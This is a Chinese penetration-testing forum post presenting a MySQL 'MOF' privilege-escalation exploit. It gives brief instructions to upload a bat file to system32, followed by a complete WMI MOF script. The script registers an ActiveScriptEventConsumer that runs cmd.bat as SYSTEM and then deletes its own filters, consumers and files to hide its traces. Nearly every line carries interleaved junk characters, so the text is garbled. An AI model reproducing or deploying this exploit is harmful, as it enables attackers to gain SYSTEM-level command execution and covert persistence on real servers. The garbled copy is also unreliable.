中国网络渗透测试联盟

标题: Mysql 提权即时无错Mof exp [打印本页]

作者: admin    时间: 2013-2-14 00:05
标题: Mysql 提权即时无错Mof exp
这个sql提权MOF需要运行 system下的文件,不能定义路径。! z1 b3 J4 S7 R  ^9 ^9 m/ ^
需要将要运行的命令写入到bat上传到system32目录,然后执行。2 V4 ^* N2 C; M1 D6 w

: n6 ?( N; R" h' H# ?, _; E这个sql提权MOF需要运行 system下的文件,不能定义路径。
8 H. m  M. o7 y: y- K# e/ _需要将要运行的命令写入到bat上传到system32目录,然后执行。8 _1 w# B( \7 g+ f$ o

0 k# q3 N1 {% H1 c2 x- R8 G#pragma
" E1 I& {' o. S3 f; [$ S" E  E% W                        namespace("\\\\.\\root\\cimv2")
; u# a; y7 l# n0 ^- z                        class
/ v. E3 T7 p  }( c3 Z                        MyClass5475 S  @4 s( ~0 u8 k8 f
                        {           [key]
- K2 ]% v. b; W9 P                        string
6 A* |7 t" g! T                        Name;! q* S4 ^( Z+ {2 x0 ?8 y, W
                        };
$ C. v. E7 l2 [6 n$ S                        class
4 x# q& e- y+ [$ s8 j7 [! p! k2 v5 T                        ActiveScriptEventConsumer
  w* P$ y) A0 e; k                        : __EventConsumer {          [key]3 {8 I5 h% P  x8 K% K
                        string
. q! Y0 z7 `+ _5 ~. h# M                        Name;           [not_null]
2 r, D3 A% A% w0 s% s                        string
% c- _" y) y6 X6 P  P1 q' m                        ScriptingEngine;           string1 r$ Y6 w; n4 m9 F  V/ U1 t! o# y
                        ScriptFileName;           [template]
, Z0 g5 V4 e5 O9 ~8 q" d                        string
0 m0 w. s( a2 Z" e+ n3 t4 n                        ScriptText;         uint32 KillTimeout;
( P( ~7 s& u& E. n( {- [- I                        }; instance of __Win32Provider as $P {
) P* v& R# [+ N/ ?9 j                        Name! G  k* _+ Q1 @) ~% j2 t
                        =9 z" p7 s# P* C" C! P# G
                        "ActiveScriptEventConsumer";     CLSID =
4 ?, z+ P) x$ {4 a0 ^/ P                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
0 K+ |& Y8 z& ~. G                        PerUserInitialization1 O' a3 s: ~8 j+ u( |5 M" k+ C
                        = TRUE;
* c  |+ E, k3 H& T: `# q& s                        }; instance of __EventConsumerProviderRegistration {         Provider; V, Z! Z4 K: J3 q: J3 J
                        = $P;         ConsumerClassNames9 @2 Z% b& m- d$ u1 `
                        =
# \1 O% d1 `+ S+ T                        {"ActiveScriptEventConsumer"};1 R) R: K6 B3 M0 Q
                        };
4 r7 w/ u9 R3 o. B. M" \                        Instance of ActiveScriptEventConsumer; y% A; H# e$ \
                        as $cons {         Name
* _  o6 A; [' o% J* O4 [                        =
7 @1 O& O3 }3 W/ I( E                        "ASEC";         ScriptingEngine  b; P. U& o: R% E: p5 [
                        =. r7 a0 P& Q' ]% u# n
                        "JScript";         ScriptText
9 b! o+ a- q# l7 J* a( V                        =7 J& A1 o% V" W/ e& c
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };) H6 Q4 x. p* [
                        Instance of ActiveScriptEventConsumer
5 Q8 {: o: n8 O8 \1 d. G# D% o" k                        as $cons2 {         Name4 `3 c7 ~3 p/ L1 K# E% I( c
                        =
( o7 W6 e- i: z1 i% W' Q                        "qndASEC";         ScriptingEngine4 L8 R+ m, ?' n9 H9 K
                        =
5 w, c$ m4 l* N% B0 s: i6 G                        "JScript";         ScriptText9 R% y9 S* ~: s) f' R4 D  ~
                        =
: X9 @7 h/ k: z/ f( S: G" S4 [/ ~, @                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";+ d  d- q+ E- p
                        }; instance of __EventFilter as $Filt {         Name
, ^1 ?0 V* e* `$ E                        =
: K$ s* O; H( k# ]* C' t3 H                        "instfilt";         Query
  }+ f! U+ D, Y% d# n( {' h* p                        =3 Q1 H$ c# S7 Q! l( X5 w9 d" T
                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
5 P2 U2 u; T0 t) H; \* E0 B                        =. x0 N& I0 n* z3 A4 |0 ^2 r
                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name/ L+ S& V/ s  n3 V5 W  c" M
                        =
2 m% [1 S  W4 D' G/ B                        "qndfilt";         Query
  y$ X4 c" m4 V/ T0 Y. C, @3 _                        =
( K# s: t9 n* V6 n                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage- ^3 S: l7 d5 ]7 Z9 c2 ?$ H
                        =
7 ?' C4 D5 M1 }8 _* n+ W. R                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer5 y+ x$ P/ S) p  `2 u7 K. Z
                        = $cons;         Filter( a: a& U, T# K* m: S( o
                        = $Filt;( w- n1 t3 o& {# E: \6 h
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer3 o$ D- Y* u, S
                        = $cons2;         Filter. E& j' p' {+ g5 L3 V8 o/ B- B5 \
                        = $Filt2;+ P) R: w) m& {2 X- E
                        }; instance of MyClass547+ |1 R' q6 H  |5 A7 V" L- t
                        as $MyClass {         Name- ~( L/ r7 _. {" c( O; ?
                        =
7 a9 C3 y: B& W  y% ~% K& |                        "ClassConsumer";+ a; T! O- l$ {! }' k' C+ y
                        };




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2